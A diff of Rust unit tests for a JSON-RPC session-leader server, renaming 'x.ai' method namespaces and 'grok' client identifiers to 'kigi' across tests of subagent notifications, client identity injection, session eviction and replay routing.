             other => panic!("Expected Finished, got {:?}", other),
@@ -3120,7 +3120,7 @@ mod tests {
     }
     #[test]
     fn extract_child_session_event_nested_ext_notification() {
-        let payload = r#"{"jsonrpc":"2.0","method":"_x.ai/session_notification","params":{"method":"x.ai/session_notification","params":{"sessionId":"parent","update":{"sessionUpdate":"subagent_spawned","child_session_id":"child-3"}}}}"#;
+        let payload = r#"{"jsonrpc":"2.0","method":"_kigi/session_notification","params":{"method":"kigi/session_notification","params":{"sessionId":"parent","update":{"sessionUpdate":"subagent_spawned","child_session_id":"child-3"}}}}"#;
         match extract_child_session_event(&pv(payload)) {
             Some(ChildSessionEvent::Spawned(id)) => assert_eq!(id, "child-3"),
             other => panic!("Expected Spawned, got {:?}", other),
@@ -3128,7 +3128,7 @@ mod tests {
     }
     #[test]
     fn extract_child_session_event_nested_ext_notification_finished() {
-        let payload = r#"{"jsonrpc":"2.0","method":"_x.ai/session_notification","params":{"method":"x.ai/session_notification","params":{"sessionId":"parent","update":{"sessionUpdate":"subagent_finished","child_session_id":"child-4"}}}}"#;
+        let payload = r#"{"jsonrpc":"2.0","method":"_kigi/session_notification","params":{"method":"kigi/session_notification","params":{"sessionId":"parent","update":{"sessionUpdate":"subagent_finished","child_session_id":"child-4"}}}}"#;
         match extract_child_session_event(&pv(payload)) {
             Some(ChildSessionEvent::Finished(id)) => assert_eq!(id, "child-4"),
             other => panic!("Expected Finished, got {:?}", other),
@@ -3136,12 +3136,12 @@ mod tests {
     }
     #[test]
     fn extract_child_session_event_none_for_other_updates() {
-        let payload = r#"{"jsonrpc":"2.0","method":"x.ai/session_notification","params":{"sessionId":"parent","update":{"sessionUpdate":"message_delta","content":"hello"}}}"#;
+        let payload = r#"{"jsonrpc":"2.0","method":"kigi/session_notification","params":{"sessionId":"parent","update":{"sessionUpdate":"message_delta","content":"hello"}}}"#;
         assert!(extract_child_session_event(&pv(payload)).is_none());
     }
     #[test]
     fn extract_child_session_event_none_without_child_id() {
-        let payload = r#"{"jsonrpc":"2.0","method":"x.ai/session_notification","params":{"sessionId":"parent","update":{"sessionUpdate":"subagent_spawned"}}}"#;
+        let payload = r#"{"jsonrpc":"2.0","method":"kigi/session_notification","params":{"sessionId":"parent","update":{"sessionUpdate":"subagent_spawned"}}}"#;
         assert!(extract_child_session_event(&pv(payload)).is_none());
     }
     #[test]
@@ -3218,12 +3218,12 @@ mod tests {
         assert!(inject_capabilities_into_session_new(
             &mut json,
             &caps,
-            "grok-code-extension",
+            "kigi-code-extension",
             ClientId(1),
         ));
         assert_eq!(
             json["params"]["_meta"]["clientIdentifier"],
-            "grok-code-extension"
+            "kigi-code-extension"
         );
     }
     #[test]
@@ -3234,7 +3234,7 @@ mod tests {
         );
         let caps = ClientCapabilities::default();
         let mut json = pv(&payload);
-        inject_capabilities_into_session_new(&mut json, &caps, "grok-tui", ClientId(1));
+        inject_capabilities_into_session_new(&mut json, &caps, "kigi-tui", ClientId(1));
         assert_eq!(json["params"]["_meta"]["clientIdentifier"], "custom-client");
     }
     #[test]
@@ -3248,12 +3248,12 @@ mod tests {
         assert!(inject_capabilities_into_session_new(
             &mut json,
             &caps,
-            "grok-code-extension",
+            "kigi-code-extension",
             ClientId(1),
         ));
         assert_eq!(
             json["params"]["_meta"]["clientIdentifier"],
-            "grok-code-extension"
+            "kigi-code-extension"
         );
         assert!(json["params"]["_meta"].get("yoloMode").is_none());
         assert!(json["params"]["_meta"].get("modelId").is_none());
@@ -3266,31 +3266,31 @@ mod tests {
         );
         let caps = ClientCapabilities::default();
         let mut json = pv(&payload);
-        inject_capabilities_into_session_new(&mut json, &caps, "grok-tui", ClientId(42));
+        inject_capabilities_into_session_new(&mut json, &caps, "kigi-tui", ClientId(42));
         assert_eq!(
-            json["params"]["_meta"]["x.ai/leaderClientId"].as_u64(),
+            json["params"]["_meta"]["kigi/leaderClientId"].as_u64(),
             Some(42)
         );
     }
     #[test]
     fn inject_capabilities_does_not_override_existing_leader_client_id() {
         let payload = format!(
-            r#"{{"jsonrpc":"2.0","method":"{}","id":1,"params":{{"sessionId":"sess-1","_meta":{{"x.ai/leaderClientId":7}}}}}}"#,
+            r#"{{"jsonrpc":"2.0","method":"{}","id":1,"params":{{"sessionId":"sess-1","_meta":{{"kigi/leaderClientId":7}}}}}}"#,
             AGENT_METHOD_NAMES.session_load
         );
         let caps = ClientCapabilities::default();
         let mut json = pv(&payload);
-        inject_capabilities_into_session_new(&mut json, &caps, "grok-tui", ClientId(42));
+        inject_capabilities_into_session_new(&mut json, &caps, "kigi-tui", ClientId(42));
         assert_eq!(
-            json["params"]["_meta"]["x.ai/leaderClientId"].as_u64(),
+            json["params"]["_meta"]["kigi/leaderClientId"].as_u64(),
             Some(7)
         );
     }
     #[test]
     fn extract_target_client_id_some_when_meta_present() {
-        let direct = r#"{"jsonrpc":"2.0","method":"session/update","params":{"sessionId":"sess-1","_meta":{"x.ai/leaderClientId":9}}}"#;
+        let direct = r#"{"jsonrpc":"2.0","method":"session/update","params":{"sessionId":"sess-1","_meta":{"kigi/leaderClientId":9}}}"#;
         assert_eq!(extract_target_client_id(&pv(direct)), Some(ClientId(9)));
-        let nested = r#"{"jsonrpc":"2.0","method":"_x.ai/session/update","params":{"params":{"sessionId":"sess-1","_meta":{"x.ai/leaderClientId":11}}}}"#;
+        let nested = r#"{"jsonrpc":"2.0","method":"_kigi/session/update","params":{"params":{"sessionId":"sess-1","_meta":{"kigi/leaderClientId":11}}}}"#;
         assert_eq!(extract_target_client_id(&pv(nested)), Some(ClientId(11)));
     }
     #[test]
@@ -3304,20 +3304,20 @@ mod tests {
     #[test]
     fn inject_yolo_notification_adds_client_identifier() {
         let mut json = pv(
-            r#"{"jsonrpc":"2.0","method":"x.ai/yolo_mode_changed","params":{"yolo_mode":true}}"#,
+            r#"{"jsonrpc":"2.0","method":"kigi/yolo_mode_changed","params":{"yolo_mode":true}}"#,
         );
         assert!(inject_client_identity_into_yolo_notification(
-            &mut json, "grok-tui"
+            &mut json, "kigi-tui"
         ));
-        assert_eq!(json["params"]["clientIdentifier"], "grok-tui");
+        assert_eq!(json["params"]["clientIdentifier"], "kigi-tui");
         assert_eq!(json["params"]["yolo_mode"], true);
     }
     #[test]
     fn inject_yolo_notification_skips_non_yolo_methods() {
-        let mut json = pv(r#"{"jsonrpc":"2.0","method":"x.ai/other","params":{"data":1}}"#);
+        let mut json = pv(r#"{"jsonrpc":"2.0","method":"kigi/other","params":{"data":1}}"#);
         let before = json.clone();
         assert!(!inject_client_identity_into_yolo_notification(
-            &mut json, "grok-tui"
+            &mut json, "kigi-tui"
         ));
         assert_eq!(json, before);
     }
@@ -3327,21 +3327,21 @@ mod tests {
             r#"{"jsonrpc":"2.0","method":"initialize","id":1,"params":{"protocolVersion":"0.1"}}"#,
         );
         let (mutated, was_initialize) =
-            inject_client_identity_into_initialize(&mut json, "grok-tui");
+            inject_client_identity_into_initialize(&mut json, "kigi-tui");
         assert!(was_initialize, "should have detected an initialize message");
         assert!(mutated, "should have injected the identifier");
-        assert_eq!(json["params"]["_meta"]["clientIdentifier"], "grok-tui");
+        assert_eq!(json["params"]["_meta"]["clientIdentifier"], "kigi-tui");
     }
     #[test]
     fn inject_client_identity_does_not_override_existing() {
         let mut json = pv(
-            r#"{"jsonrpc":"2.0","method":"initialize","id":1,"params":{"protocolVersion":"0.1","_meta":{"clientIdentifier":"grok-web"}}}"#,
+            r#"{"jsonrpc":"2.0","method":"initialize","id":1,"params":{"protocolVersion":"0.1","_meta":{"clientIdentifier":"kigi-web"}}}"#,
         );
         let (mutated, was_initialize) =
-            inject_client_identity_into_initialize(&mut json, "grok-tui");
+            inject_client_identity_into_initialize(&mut json, "kigi-tui");
         assert!(was_initialize, "should have detected an initialize message");
         assert!(!mutated, "existing identifier means nothing was injected");
-        assert_eq!(json["params"]["_meta"]["clientIdentifier"], "grok-web");
+        assert_eq!(json["params"]["_meta"]["clientIdentifier"], "kigi-web");
     }
     #[test]
     fn inject_client_identity_skips_non_initialize() {
@@ -3349,7 +3349,7 @@ mod tests {
             pv(r#"{"jsonrpc":"2.0","method":"session/new","id":1,"params":{"cwd":"/tmp"}}"#);
         let before = json.clone();
         let (mutated, was_initialize) =
-            inject_client_identity_into_initialize(&mut json, "grok-tui");
+            inject_client_identity_into_initialize(&mut json, "kigi-tui");
         assert!(
             !was_initialize,
             "session/new should not be detected as initialize"
@@ -3377,13 +3377,13 @@ mod tests {
             r#"{"jsonrpc":"2.0","method":"initialize","id":1,"params":{"protocolVersion":"0.1","_meta":{"foo":"bar"}}}"#,
         );
         let (mutated, was_initialize) =
-            inject_client_identity_into_initialize(&mut json, "grok-code-extension");
+            inject_client_identity_into_initialize(&mut json, "kigi-code-extension");
         assert!(was_initialize, "should have detected an initialize message");
         assert!(mutated);
         assert_eq!(json["params"]["_meta"]["foo"], "bar");
         assert_eq!(
             json["params"]["_meta"]["clientIdentifier"],
-            "grok-code-extension"
+            "kigi-code-extension"
         );
     }
     #[test]
@@ -3391,7 +3391,7 @@ mod tests {
         let payload = make_version_mismatch_notification("0.1.157", "0.1.150")
             .expect("should produce notification");
         let json: serde_json::Value = serde_json::from_str(&payload).unwrap();
-        assert_eq!(json["method"], "x.ai/leader/version_mismatch");
+        assert_eq!(json["method"], "kigi/leader/version_mismatch");
         assert_eq!(json["params"]["clientVersion"], "0.1.157");
         assert_eq!(json["params"]["leaderVersion"], "0.1.150");
         assert!(
@@ -3431,7 +3431,7 @@ mod tests {
                 mode: ClientMode::Stdio,
                 capabilities: ClientCapabilities {
                     yolo_mode: false,
-                    default_model: Some("grok-original".to_string()),
+                    default_model: Some("kigi-original".to_string()),
                     ..Default::default()
                 },
             },
@@ -3440,7 +3440,7 @@ mod tests {
         .unwrap();
         let _: ServerMessage = read_message(&mut reader).await.unwrap();
         let set_model_payload = format!(
-            r#"{{"jsonrpc":"2.0","method":"{}","id":1,"params":{{"sessionId":"sess-1","modelId":"grok-4.5"}}}}"#,
+            r#"{{"jsonrpc":"2.0","method":"{}","id":1,"params":{{"sessionId":"sess-1","modelId":"kigi-4.5"}}}}"#,
             AGENT_METHOD_NAMES.session_set_model
         );
         write_message(
@@ -3467,7 +3467,7 @@ mod tests {
         let forwarded = acp_rx.recv().await.unwrap();
         let json: serde_json::Value = serde_json::from_str(&forwarded).unwrap();
         assert_eq!(
-            json["params"]["_meta"]["modelId"], "grok-4.5",
+            json["params"]["_meta"]["modelId"], "kigi-4.5",
             "Leader should inject the updated model after session/setModel, not the stale registration model"
         );
         cancel.cancel();
@@ -3799,7 +3799,7 @@ mod tests {
         tokio::time::sleep(Duration::from_millis(50)).await;
         response_tx
             .send(
-                r#"{"jsonrpc":"2.0","method":"_x.ai/session_notification","params":{"method":"x.ai/session_notification","params":{"sessionId":"sess-A","update":{"sessionUpdate":"retry_state","attempt":1,"maxRetries":3,"reason":"transient"}}}}"#
+                r#"{"jsonrpc":"2.0","method":"_kigi/session_notification","params":{"method":"kigi/session_notification","params":{"sessionId":"sess-A","update":{"sessionUpdate":"retry_state","attempt":1,"maxRetries":3,"reason":"transient"}}}}"#
                     .into(),
             )
             .unwrap();
@@ -3811,7 +3811,7 @@ mod tests {
         match msg {
             ServerMessage::Acp { payload } => {
                 let json: serde_json::Value = serde_json::from_str(&payload).unwrap();
-                assert_eq!(json["method"], "_x.ai/session_notification");
+                assert_eq!(json["method"], "_kigi/session_notification");
             }
             other => panic!("Expected Acp message, got {:?}", other),
         }
@@ -4131,7 +4131,7 @@ mod tests {
         let temp = TempDir::new().unwrap();
         let (sock_path, cancel, response_tx, mut acp_rx) =
             setup_persistent_server_with_agent(&temp).await;
-        let (mut reader, mut writer) = connect_and_register(&sock_path, "grok-tui").await;
+        let (mut reader, mut writer) = connect_and_register(&sock_path, "kigi-tui").await;
         let load_req = r#"{"jsonrpc":"2.0","method":"session/load","id":1,"params":{"session_id":"sess_replay"}}"#;
         write_message(
             &mut writer,
@@ -4178,7 +4178,7 @@ mod tests {
         cancel.cancel();
     }
     /// When a client disconnects after interacting with a session, the server
-    /// sends an `x.ai/internal/evict_sessions` notification through acp_tx
+    /// sends an `kigi/internal/evict_sessions` notification through acp_tx
     /// so the agent can release session memory.
     #[tokio::test]
     async fn evict_sessions_notification_on_disconnect() {
@@ -4232,7 +4232,7 @@ mod tests {
             .expect("channel should not be closed");
         let json: serde_json::Value =
             serde_json::from_str(&eviction_msg).expect("should be valid JSON");
-        assert_eq!(json["method"], "x.ai/internal/evict_sessions");
+        assert_eq!(json["method"], "kigi/internal/evict_sessions");
         let session_ids = json["params"]["sessionIds"]
             .as_array()
             .expect("sessionIds should be an array");
@@ -4422,7 +4422,7 @@ mod tests {
         );
         cancel.cancel();
     }
-    /// A `x.ai/scheduled_task_inject_prompt` (cron `/loop` fire) must be routed
+    /// A `kigi/scheduled_task_inject_prompt` (cron `/loop` fire) must be routed
     /// to the SINGLE session driver, not fanned out to every subscriber. If it
     /// broadcast, each attached dashboard would enqueue + try to drive the same
     /// cron turn (phantom `#N` queue rows, competing drivers, stuck turns). The
@@ -4442,7 +4442,7 @@ mod tests {
         complete_load(&mut acp_rx, &response_tx).await;
         let _ = next_acp_payload(&mut reader_b).await;
         tokio::time::sleep(Duration::from_millis(30)).await;
-        let inject = r#"{"method":"_x.ai/scheduled_task_inject_prompt","params":{"method":"x.ai/scheduled_task_inject_prompt","params":{"sessionId":"sess-cron","taskId":"task-1","prompt":"echo hello","humanSchedule":"every 1m"}}}"#;
+        let inject = r#"{"method":"_kigi/scheduled_task_inject_prompt","params":{"method":"kigi/scheduled_task_inject_prompt","params":{"sessionId":"sess-cron","taskId":"task-1","prompt":"echo hello","humanSchedule":"every 1m"}}}"#;
         response_tx.send(inject.to_string()).unwrap();
         let got_a = next_acp_payload(&mut reader_a).await;
         let got_b = next_acp_payload(&mut reader_b).await;
@@ -4478,7 +4478,7 @@ mod tests {
         complete_load(&mut acp_rx, &response_tx).await;
         let _ = next_acp_payload(&mut reader_b).await;
         tokio::time::sleep(Duration::from_millis(30)).await;
-        let req = r#"{"jsonrpc":"2.0","id":501,"method":"_x.ai/ask_user_question","params":{"method":"x.ai/ask_user_question","params":{"sessionId":"sess-int","toolCallId":"tc-q","questions":[]}}}"#;
+        let req = r#"{"jsonrpc":"2.0","id":501,"method":"_kigi/ask_user_question","params":{"method":"kigi/ask_user_question","params":{"sessionId":"sess-int","toolCallId":"tc-q","questions":[]}}}"#;
         response_tx.send(req.to_string()).unwrap();
         let got_a = next_acp_payload_matching(&mut reader_a, "ask_user_question").await;
         let got_b = next_acp_payload_matching(&mut reader_b, "ask_user_question").await;
@@ -4505,7 +4505,7 @@ mod tests {
         complete_load(&mut acp_rx, &response_tx).await;
         let _ = next_acp_payload(&mut reader_a).await;
         tokio::time::sleep(Duration::from_millis(30)).await;
-        let req = r#"{"jsonrpc":"2.0","id":601,"method":"_x.ai/ask_user_question","params":{"method":"x.ai/ask_user_question","params":{"sessionId":"sess-int","toolCallId":"tc-late","questions":[]}}}"#;
+        let req = r#"{"jsonrpc":"2.0","id":601,"method":"_kigi/ask_user_question","params":{"method":"kigi/ask_user_question","params":{"sessionId":"sess-int","toolCallId":"tc-late","questions":[]}}}"#;
         response_tx.send(req.to_string()).unwrap();
         let _ = next_acp_payload_matching(&mut reader_a, "ask_user_question").await;
         tokio::time::sleep(Duration::from_millis(30)).await;
@@ -4563,7 +4563,7 @@ mod tests {
         complete_load(&mut acp_rx, &response_tx).await;
         let _ = next_acp_payload(&mut reader_a).await;
         tokio::time::sleep(Duration::from_millis(30)).await;
-        let spawned_live = r#"{"jsonrpc":"2.0","method":"x.ai/session_notification","params":{"sessionId":"sess-sub","update":{"sessionUpdate":"subagent_spawned","child_session_id":"child-sub"}}}"#;
+        let spawned_live = r#"{"jsonrpc":"2.0","method":"kigi/session_notification","params":{"sessionId":"sess-sub","update":{"sessionUpdate":"subagent_spawned","child_session_id":"child-sub"}}}"#;
         response_tx.send(spawned_live.to_string()).unwrap();
         assert!(
             next_acp_payload_matching(&mut reader_a, "subagent_spawned")
@@ -4587,7 +4587,7 @@ mod tests {
                 .is_some(),
             "live child updates must reach the reattached client via backfill"
         );
-        let child_reverse = r#"{"jsonrpc":"2.0","id":777,"method":"x.ai/child_thing","params":{"sessionId":"child-sub"}}"#;
+        let child_reverse = r#"{"jsonrpc":"2.0","id":777,"method":"kigi/child_thing","params":{"sessionId":"child-sub"}}"#;
         response_tx.send(child_reverse.to_string()).unwrap();
         assert!(
             next_acp_payload_matching(&mut reader_a2, "child_thing")
@@ -4613,7 +4613,7 @@ mod tests {
         let _ = next_acp_payload(&mut reader_a).await;
         tokio::time::sleep(Duration::from_millis(30)).await;
         let spawned_replay = format!(
-            r#"{{"jsonrpc":"2.0","method":"x.ai/session_notification","params":{{"sessionId":"sess-fresh","_meta":{{"isReplay":true,"x.ai/leaderClientId":{}}},"update":{{"sessionUpdate":"subagent_spawned","child_session_id":"child-fresh"}}}}}}"#,
+            r#"{{"jsonrpc":"2.0","method":"kigi/session_notification","params":{{"sessionId":"sess-fresh","_meta":{{"isReplay":true,"kigi/leaderClientId":{}}},"update":{{"sessionUpdate":"subagent_spawned","child_session_id":"child-fresh"}}}}}}"#,
             a_id.0
         );
         response_tx.send(spawned_replay).unwrap();
@@ -4646,7 +4646,7 @@ mod tests {
         complete_load(&mut acp_rx, &response_tx).await;
         let _ = next_acp_payload(&mut reader_a).await;
         tokio::time::sleep(Duration::from_millis(30)).await;
-        let spawned_live = r#"{"jsonrpc":"2.0","method":"x.ai/session_notification","params":{"sessionId":"sess-sub2","update":{"sessionUpdate":"subagent_spawned","child_session_id":"child-sub2"}}}"#;
+        let spawned_live = r#"{"jsonrpc":"2.0","method":"kigi/session_notification","params":{"sessionId":"sess-sub2","update":{"sessionUpdate":"subagent_spawned","child_session_id":"child-sub2"}}}"#;
         response_tx.send(spawned_live.to_string()).unwrap();
         let _ = next_acp_payload_matching(&mut reader_a, "subagent_spawned").await;
         let (mut reader_b, mut writer_b) = connect_and_register(&sock_path, "client-b").await;
@@ -4683,7 +4683,7 @@ mod tests {
         complete_load(&mut acp_rx, &response_tx).await;
         let _ = next_acp_payload(&mut reader_a).await;
         tokio::time::sleep(Duration::from_millis(30)).await;
-        let spawned_live = r#"{"jsonrpc":"2.0","method":"x.ai/session_notification","params":{"sessionId":"sess-tear","update":{"sessionUpdate":"subagent_spawned","child_session_id":"child-tear"}}}"#;
+        let spawned_live = r#"{"jsonrpc":"2.0","method":"kigi/session_notification","params":{"sessionId":"sess-tear","update":{"sessionUpdate":"subagent_spawned","child_session_id":"child-tear"}}}"#;
         response_tx.send(spawned_live.to_string()).unwrap();
         let _ = next_acp_payload_matching(&mut reader_a, "subagent_spawned").await;
         let (mut reader_b, mut writer_b, b_id) =
@@ -4693,7 +4693,7 @@ mod tests {
         let _ = next_acp_payload(&mut reader_b).await;
         tokio::time::sleep(Duration::from_millis(30)).await;
         let finished_replay = format!(
-            r#"{{"jsonrpc":"2.0","method":"x.ai/session_notification","params":{{"sessionId":"sess-tear","_meta":{{"isReplay":true,"x.ai/leaderClientId":{}}},"update":{{"sessionUpdate":"subagent_finished","child_session_id":"child-tear"}}}}}}"#,
+            r#"{{"jsonrpc":"2.0","method":"kigi/session_notification","params":{{"sessionId":"sess-tear","_meta":{{"isReplay":true,"kigi/leaderClientId":{}}},"update":{{"sessionUpdate":"subagent_finished","child_session_id":"child-tear"}}}}}}"#,
             b_id.0
         );
         response_tx.send(finished_replay).unwrap();
@@ -4728,10 +4728,10 @@ mod tests {
         complete_load(&mut acp_rx, &response_tx).await;
         let _ = next_acp_payload(&mut reader_a).await;
         tokio::time::sleep(Duration::from_millis(30)).await;
-        let spawned_child = r#"{"jsonrpc":"2.0","method":"x.ai/session_notification","params":{"sessionId":"sess-nest","update":{"sessionUpdate":"subagent_spawned","child_session_id":"child-nest"}}}"#;
+        let spawned_child = r#"{"jsonrpc":"2.0","method":"kigi/session_notification","params":{"sessionId":"sess-nest","update":{"sessionUpdate":"subagent_spawned","child_session_id":"child-nest"}}}"#;
         response_tx.send(spawned_child.to_string()).unwrap();
         let _ = next_acp_payload_matching(&mut reader_a, "subagent_spawned").await;
-        let spawned_grandchild = r#"{"jsonrpc":"2.0","method":"x.ai/session_notification","params":{"sessionId":"child-nest","update":{"sessionUpdate":"subagent_spawned","child_session_id":"grandchild-nest"}}}"#;
+        let spawned_grandchild = r#"{"jsonrpc":"2.0","method":"kigi/session_notification","params":{"sessionId":"child-nest","update":{"sessionUpdate":"subagent_spawned","child_session_id":"grandchild-nest"}}}"#;
         response_tx.send(spawned_grandchild.to_string()).unwrap();
         let _ = next_acp_payload_matching(&mut reader_a, "grandchild-nest").await;
         drop(reader_a);
@@ -4767,13 +4767,13 @@ mod tests {
         complete_load(&mut acp_rx, &response_tx).await;
         let _ = next_acp_payload(&mut reader_a).await;
         tokio::time::sleep(Duration::from_millis(30)).await;
-        let spawned_a = r#"{"jsonrpc":"2.0","method":"x.ai/session_notification","params":{"sessionId":"sess-rep","update":{"sessionUpdate":"subagent_spawned","child_session_id":"child-a"}}}"#;
+        let spawned_a = r#"{"jsonrpc":"2.0","method":"kigi/session_notification","params":{"sessionId":"sess-rep","update":{"sessionUpdate":"subagent_spawned","child_session_id":"child-a"}}}"#;
         response_tx.send(spawned_a.to_string()).unwrap();
         let _ = next_acp_payload_matching(&mut reader_a, "child-a").await;
-        let spawned_b = r#"{"jsonrpc":"2.0","method":"x.ai/session_notification","params":{"sessionId":"child-a","update":{"sessionUpdate":"subagent_spawned","child_session_id":"grandchild-b"}}}"#;
+        let spawned_b = r#"{"jsonrpc":"2.0","method":"kigi/session_notification","params":{"sessionId":"child-a","update":{"sessionUpdate":"subagent_spawned","child_session_id":"grandchild-b"}}}"#;
         response_tx.send(spawned_b.to_string()).unwrap();
         let _ = next_acp_payload_matching(&mut reader_a, "grandchild-b").await;
-        let finished_a = r#"{"jsonrpc":"2.0","method":"x.ai/session_notification","params":{"sessionId":"sess-rep","update":{"sessionUpdate":"subagent_finished","child_session_id":"child-a"}}}"#;
+        let finished_a = r#"{"jsonrpc":"2.0","method":"kigi/session_notification","params":{"sessionId":"sess-rep","update":{"sessionUpdate":"subagent_finished","child_session_id":"child-a"}}}"#;
         response_tx.send(finished_a.to_string()).unwrap();
         let _ = next_acp_payload_matching(&mut reader_a, "subagent_finished").await;
         drop(reader_a);
@@ -4807,10 +4807,10 @@ mod tests {
         complete_load(&mut acp_rx, &response_tx).await;
         let _ = next_acp_payload(&mut reader_a).await;
         tokio::time::sleep(Duration::from_millis(30)).await;
-        let spawned_live = r#"{"jsonrpc":"2.0","method":"x.ai/session_notification","params":{"sessionId":"sess-dead","update":{"sessionUpdate":"subagent_spawned","child_session_id":"child-dead"}}}"#;
+        let spawned_live = r#"{"jsonrpc":"2.0","method":"kigi/session_notification","params":{"sessionId":"sess-dead","update":{"sessionUpdate":"subagent_spawned","child_session_id":"child-dead"}}}"#;
         response_tx.send(spawned_live.to_string()).unwrap();
         let _ = next_acp_payload_matching(&mut reader_a, "subagent_spawned").await;
-        let finished_live = r#"{"jsonrpc":"2.0","method":"x.ai/session_notification","params":{"sessionId":"sess-dead","update":{"sessionUpdate":"subagent_finished","child_session_id":"child-dead"}}}"#;
+        let finished_live = r#"{"jsonrpc":"2.0","method":"kigi/session_notification","params":{"sessionId":"sess-dead","update":{"sessionUpdate":"subagent_finished","child_session_id":"child-dead"}}}"#;
         response_tx.send(finished_live.to_string()).unwrap();
         let _ = next_acp_payload_matching(&mut reader_a, "subagent_finished").await;
         drop(reader_a);
@@ -4847,13 +4847,13 @@ mod tests {
         complete_load(&mut acp_rx, &response_tx).await;
         let _ = next_acp_payload(&mut reader_a).await;
         tokio::time::sleep(Duration::from_millis(30)).await;
-        let spawned_live = r#"{"jsonrpc":"2.0","method":"x.ai/session_notification","params":{"sessionId":"sess-detach","update":{"sessionUpdate":"subagent_spawned","child_session_id":"child-detach"}}}"#;
+        let spawned_live = r#"{"jsonrpc":"2.0","method":"kigi/session_notification","params":{"sessionId":"sess-detach","update":{"sessionUpdate":"subagent_spawned","child_session_id":"child-detach"}}}"#;
         response_tx.send(spawned_live.to_string()).unwrap();
         let _ = next_acp_payload_matching(&mut reader_a, "subagent_spawned").await;
         drop(reader_a);
         drop(writer_a);
         tokio::time::sleep(Duration::from_millis(50)).await;
-        let finished_live = r#"{"jsonrpc":"2.0","method":"x.ai/session_notification","params":{"sessionId":"sess-detach","update":{"sessionUpdate":"subagent_finished","child_session_id":"child-detach"}}}"#;
+        let finished_live = r#"{"jsonrpc":"2.0","method":"kigi/session_notification","params":{"sessionId":"sess-detach","update":{"sessionUpdate":"subagent_finished","child_session_id":"child-detach"}}}"#;
         response_tx.send(finished_live.to_string()).unwrap();
         tokio::time::sleep(Duration::from_millis(30)).await;
         let (mut reader_a2, mut writer_a2) = connect_and_register(&sock_path, "client-a").await;
@@ -4888,7 +4888,7 @@ mod tests {
         let _ = next_acp_payload(&mut reader_a).await;
         tokio::time::sleep(Duration::from_millis(30)).await;
         let spawned_replay = format!(
-            r#"{{"jsonrpc":"2.0","method":"x.ai/session_notification","params":{{"sessionId":"sess-leak","_meta":{{"isReplay":true,"x.ai/leaderClientId":{}}},"update":{{"sessionUpdate":"subagent_spawned","child_session_id":"child-leak"}}}}}}"#,
+            r#"{{"jsonrpc":"2.0","method":"kigi/session_notification","params":{{"sessionId":"sess-leak","_meta":{{"isReplay":true,"kigi/leaderClientId":{}}},"update":{{"sessionUpdate":"subagent_spawned","child_session_id":"child-leak"}}}}}}"#,
             a_id.0
         );
         response_tx.send(spawned_replay).unwrap();
@@ -4897,7 +4897,7 @@ mod tests {
         drop(writer_a);
         tokio::time::sleep(Duration::from_millis(50)).await;
         let finished_replay = format!(
-            r#"{{"jsonrpc":"2.0","method":"x.ai/session_notification","params":{{"sessionId":"sess-leak","_meta":{{"isReplay":true,"x.ai/leaderClientId":{}}},"update":{{"sessionUpdate":"subagent_finished","child_session_id":"child-leak"}}}}}}"#,
+            r#"{{"jsonrpc":"2.0","method":"kigi/session_notification","params":{{"sessionId":"sess-leak","_meta":{{"isReplay":true,"kigi/leaderClientId":{}}},"update":{{"sessionUpdate":"subagent_finished","child_session_id":"child-leak"}}}}}}"#,
             a_id.0
         );
         response_tx.send(finished_replay).unwrap();
@@ -4933,7 +4933,7 @@ mod tests {
         complete_load(&mut acp_rx, &response_tx).await;
         let _ = next_acp_payload(&mut reader_a).await;
         tokio::time::sleep(Duration::from_millis(30)).await;
-        let spawned_live = r#"{"jsonrpc":"2.0","method":"x.ai/session_notification","params":{"sessionId":"sess-hold","update":{"sessionUpdate":"subagent_spawned","child_session_id":"child-hold"}}}"#;
+        let spawned_live = r#"{"jsonrpc":"2.0","method":"kigi/session_notification","params":{"sessionId":"sess-hold","update":{"sessionUpdate":"subagent_spawned","child_session_id":"child-hold"}}}"#;
         response_tx.send(spawned_live.to_string()).unwrap();
         let _ = next_acp_payload_matching(&mut reader_a, "subagent_spawned").await;
         let (reader_b, writer_b, b_id) = connect_register_get_id(&sock_path, "client-b").await;
@@ -4941,7 +4941,7 @@ mod tests {
         drop(writer_b);
         tokio::time::sleep(Duration::from_millis(50)).await;
         let finished_replay = format!(
-            r#"{{"jsonrpc":"2.0","method":"x.ai/session_notification","params":{{"sessionId":"sess-hold","_meta":{{"isReplay":true,"x.ai/leaderClientId":{}}},"update":{{"sessionUpdate":"subagent_finished","child_session_id":"child-hold"}}}}}}"#,
+            r#"{{"jsonrpc":"2.0","method":"kigi/session_notification","params":{{"sessionId":"sess-hold","_meta":{{"isReplay":true,"kigi/leaderClientId":{}}},"update":{{"sessionUpdate":"subagent_finished","child_session_id":"child-hold"}}}}}}"#,
             b_id.0
         );
         response_tx.send(finished_replay).unwrap();
@@ -4970,7 +4970,7 @@ mod tests {
         complete_load(&mut acp_rx, &response_tx).await;
         let _ = next_acp_payload(&mut reader_a).await;
         tokio::time::sleep(Duration::from_millis(30)).await;
-        let spawned_live = r#"{"jsonrpc":"2.0","method":"x.ai/session_notification","params":{"sessionId":"sess-union","update":{"sessionUpdate":"subagent_spawned","child_session_id":"child-union"}}}"#;
+        let spawned_live = r#"{"jsonrpc":"2.0","method":"kigi/session_notification","params":{"sessionId":"sess-union","update":{"sessionUpdate":"subagent_spawned","child_session_id":"child-union"}}}"#;
         response_tx.send(spawned_live.to_string()).unwrap();
         let _ = next_acp_payload_matching(&mut reader_a, "subagent_spawned").await;
         let (mut reader_b, mut writer_b, b_id) =
@@ -4980,7 +4980,7 @@ mod tests {
         let _ = next_acp_payload(&mut reader_b).await;
         tokio::time::sleep(Duration::from_millis(30)).await;
         let spawned_replay = format!(
-            r#"{{"jsonrpc":"2.0","method":"x.ai/session_notification","params":{{"sessionId":"sess-union","_meta":{{"isReplay":true,"x.ai/leaderClientId":{}}},"update":{{"sessionUpdate":"subagent_spawned","child_session_id":"child-union"}}}}}}"#,
+            r#"{{"jsonrpc":"2.0","method":"kigi/session_notification","params":{{"sessionId":"sess-union","_meta":{{"isReplay":true,"kigi/leaderClientId":{}}},"update":{{"sessionUpdate":"subagent_spawned","child_session_id":"child-union"}}}}}}"#,
             b_id.0
         );
         response_tx.send(spawned_replay).unwrap();
@@ -5017,13 +5017,13 @@ mod tests {
         let _ = next_acp_payload(&mut reader_a).await;
         tokio::time::sleep(Duration::from_millis(30)).await;
         let spawned_replay = format!(
-            r#"{{"jsonrpc":"2.0","method":"x.ai/session_notification","params":{{"sessionId":"sess-last","_meta":{{"isReplay":true,"x.ai/leaderClientId":{}}},"update":{{"sessionUpdate":"subagent_spawned","child_session_id":"child-last"}}}}}}"#,
